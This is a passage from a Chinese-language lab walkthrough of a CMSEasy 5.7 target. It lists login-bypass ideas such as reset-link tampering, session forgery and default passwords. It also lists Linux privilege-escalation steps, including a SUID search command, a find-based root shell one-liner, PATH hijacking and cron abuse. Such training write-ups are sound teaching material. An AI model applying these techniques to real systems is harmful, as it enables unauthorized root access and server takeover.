当SQL注入被防御后的登录绕过思路如果后台登录修复了SQL注入我们还有其他思路吗有的这取决于漏洞点。密码重置漏洞攻击密码重置功能例如通过篡改重置链接中的用户ID参数将其他用户如admin的密码重置为自己的邮箱然后通过邮箱接收重置链接。会话伪造/固定如果CMS的会话管理存在缺陷可能允许攻击者伪造或预测管理员会话ID从而直接进入后台。默认凭证与弱口令永远不要忽略尝试最基础的admin/adminadmin/123456admin/password等组合。很多管理员安全意识薄弱。寻找无需登录的后台漏洞有些CMS的后台某些API接口或页面可能存在逻辑漏洞无需登录即可访问并执行高危操作。这需要仔细审计源码或进行模糊测试。6.3 命令执行后的权限提升提权在本靶场中我们以www-data权限拿到了Flag。但在真实环境中这个权限很低。我们需要进行权限提升Privilege Escalation来获得root权限以完全控制服务器。Linux系统提权常见思路内核漏洞提权使用uname -a查看内核版本搜索该版本存在的公开本地提权漏洞如Dirty Cow下载对应的EXP漏洞利用程序到服务器编译并执行。SUID/GUID文件滥用查找设置了SUID位的可执行文件find / -perm -us -type f 2/dev/null如果其中某些命令如findvimbashcp等配置不当可以利用它们来提权。例如已知的find命令SUID提权find . -exec /bin/bash -p \;。环境变量劫持如果以高权限运行的脚本调用了未使用绝对路径的命令如system(“ls”)我们可以在当前目录创建一个恶意的ls可执行文件并操纵环境变量PATH让脚本执行我们的恶意文件。计划任务Cron Job查看系统计划任务cat /etc/crontab看是否有以root权限运行的脚本且该脚本我们具有写入权限或者其引用的文件我们可写那么修改该文件即可在任务执行时获得root权限。这些提权操作复杂度较高需要根据目标系统的具体环境进行研究和尝试是渗透测试中更具挑战性的环节。通过这个CMSEasy 5.7的靶场练习我们完整地走通了一条从外网到命令执行的攻击链。理解每一步的原理和背后的安全缺陷远比单纯记住Payload更重要。在防守端每一个环节的疏忽都可能给攻击者打开一扇门。
![[C++]内存管理：串顺序存储的内存回收](http://pic.xiahunao.cn/yaotu/[C++]内存管理：串顺序存储的内存回收)
